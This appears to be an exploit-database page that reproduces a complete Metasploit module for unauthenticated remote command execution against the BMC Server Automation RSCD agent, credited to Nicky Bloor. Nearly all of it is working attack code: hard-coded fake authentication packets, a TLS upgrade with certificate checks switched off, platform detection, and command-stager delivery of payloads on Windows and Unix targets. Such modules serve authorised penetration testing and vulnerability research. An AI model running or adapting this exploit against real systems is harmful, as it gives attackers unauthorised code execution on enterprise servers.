BMC Server Automation RSCD Agent NSH Remote Command Execution

2018.02.01
Credit: Nicky Bloor
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'BMC Server Automation RSCD Agent NSH Remote ' \ 'Command Execution', 'Description' => %q( This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication. Note: Under Windows, non-powershell commands may need to be prefixed with 'cmd /c'. ), 'Author' => [ 'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery 'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module ], 'References' => [ ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'], ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'], ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'], ['CVE', '2016-1542'], ['CVE', '2016-1543'] ], 'DisclosureDate' => 'Mar 16 2016', 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => %w[win linux unix], 'Targets' => [ ['Automatic', {}], [ 'Windows/VBS Stager', { 'Platform' => 'win', 'Payload' => { 'Space' => 8100 } } ], [ 'Unix/Linux', { 'Platform' => %w[linux unix], 'Payload' => { 'Space' => 32_700 } } ], [ 'Generic Command', { 'Arch' => ARCH_CMD, 'Platform' => %w[linux unix win] } ] ], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "\x00\x09\x0a" }, 'CmdStagerFlavor' => %w[vbs echo]) ) register_options( [ Opt::RPORT(4750) ] ) deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH') end def check # Send agentinfo request and check result vprint_status('Checking for BMC with agentinfo request.') res = send_agentinfo_request # Check for successful platform detection if res[0] == 1 vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1]) return CheckCode::Detected end # Get first four bytes of the packet which should hold the content length res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0 # Return unknown if the packet format appears correct (length field check) if res[1] && res[1].length - 4 == res_len vprint_warning('Target appears to be BMC, however an unexpected ' \ 'agentinfo response was returned.') vprint_warning('Response: ' + res[1]) return CheckCode::Unknown end # Invalid response, probably not a BMC RSCD target vprint_error('The target does not appear to be a BMC RSCD agent.') vprint_error('Response: ' + res[1]) if res[1] CheckCode::Safe end def exploit # Do auto target selection target_name = target.name if target_name == 'Automatic' # Attempt to detect the target platform vprint_status('Detecting remote platform for auto target selection.') platform = send_agentinfo_request # Fail if platform detection was unsuccessful if platform[0].zero? fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \ 'detecting target platform.') end # Set target based on returned platform target_name = if platform[1].downcase.include?('windows') 'Windows/VBS Stager' else 'Unix/Linux' end end # Exploit based on target vprint_status('Generating and delivering payload.') if target_name == 'Windows/VBS Stager' if payload.raw.start_with?('powershell', 'cmd') execute_command(payload.raw) else execute_cmdstager(flavor: :vbs, linemax: payload.space) end handler elsif target_name == 'Unix/Linux' execute_cmdstager(flavor: :echo, linemax: payload.space) handler elsif target_name == 'Generic Cmd' send_nexec_request(payload.raw, true) end end # Execute a command but don't print output def execute_command(command, opts = {}) if opts[:flavor] == :vbs if command.start_with?('powershell') == false if command.start_with?('cmd') == false send_nexec_request('cmd /c ' + command, false) return end end end send_nexec_request(command, false) end # Connect to the RSCD agent and execute a command via nexec def send_nexec_request(command, show_output) # Connect and auth vprint_status('Connecting to RSCD agent and sending fake auth.') connect_to_rscd send_fake_nexec_auth # Generate and send the payload vprint_status('Sending command to execute.') sock.put(generate_cmd_pkt(command)) # Finish the nexec request sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \ "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \ "\x35\x38\x3b\x32\x34\x38\x35\x31") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x65\x7f") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x69\x03") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x74\x31") sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \ "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \ "\x34\x31") sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \ "\x30\x30\x30\x30\x31\x7a") # Get the response from the RSCD agent and disconnect vprint_status('Reading response from RSCD agent.') res = read_cmd_output if show_output == true if res && res[0] == 1 print_good("Output\n" + res[1]) else print_warning('Command execution failed, the command may not exist.') vprint_warning("Output\n" + res[1]) end end disconnect end # Attempt to retrieve RSCD agent info and return the platform string def send_agentinfo_request # Connect and send fake auth vprint_status('Connecting to RSCD agent and sending fake auth.') connect_to_rscd send_fake_agentinfo_auth # Send agentinfo request, read the response, and disconnect vprint_status('Requesting agent information.') sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \ "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \ "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \ "\x31\x30\x30\x30\x30\x30\x30\x30\x30") res = sock.get_once disconnect # Return the platform field from the response if it looks valid res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0 return [1, res.split(';')[4]] if res && res.split(';').length > 6 && res.length == (res_len + 4) # Invalid or unexpected response format, return the complete response [0, res] end # Connect to the target and upgrade to an encrypted connection def connect_to_rscd connect sock.put('TLS') sock.extend(Rex::Socket::SslTcp) sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23) sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE sock.sslctx.options = OpenSSL::SSL::OP_ALL sock.sslctx.ciphers = 'ALL' sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx) sock.sslsock.connect end # Send fake agentinfo auth packet and ignore the response def send_fake_agentinfo_auth sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \ "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \ "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \ "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \ "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \ "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55\x54\x46\x2d\x38") sock.get_once end # Send fake nexec auth packet and ignore the response def send_fake_nexec_auth sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \ "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \ "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \ "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \ "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \ "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \ "\x54\x46\x2d\x38") sock.get_once end # Generate a payload packet def generate_cmd_pkt(command) # Encode back slashes pkt = command.gsub('\\', "\xc1\xdc") # Encode double quotes unless powershell is being used pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell') # Construct the body of the payload packet pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \ "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" + pad_number(pkt.length) + pkt # Prefix with the packet length and return [pkt.length].pack('N') + pkt end # Convert the given number to a hex string padded to 8 chars def pad_number(num) format('%08x', num) end # Read the command output from the server def read_cmd_output all_output = '' response_done = false # Read the entire response from the RSCD service while response_done == false # Read a response chunk chunk = sock.get_once next unless chunk && chunk.length > 4 chunk_len = chunk[0..3].unpack('N')[0] chunk = chunk[4..chunk.length] chunk += sock.get_once while chunk.length < chunk_len # Check for the "end of output" chunk if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \ "\x61\x30\x30\x30\x30\x30\x30" \ "\x30\x32\x78") # Response has completed response_done = true elsif all_output == '' # Keep the first response chunk as-is all_output += chunk # If the command failed, we're done response_done = true unless all_output[8..15].to_i(16) != 1 else # Append everything but the length fields to the output buffer all_output += chunk[17..chunk.length] end end # Return output if response indicated success return [1, all_output[26..all_output.length]] if all_output && all_output.length > 26 && all_output[8..15].to_i(16) == 1 # Return nothing if there isn't enough data for error output return [0, ''] unless all_output && all_output.length > 17 # Get the length of the error output and return the error err_len = all_output[8..15].to_i(16) - 1 [0, all_output[17..17 + err_len]] end end


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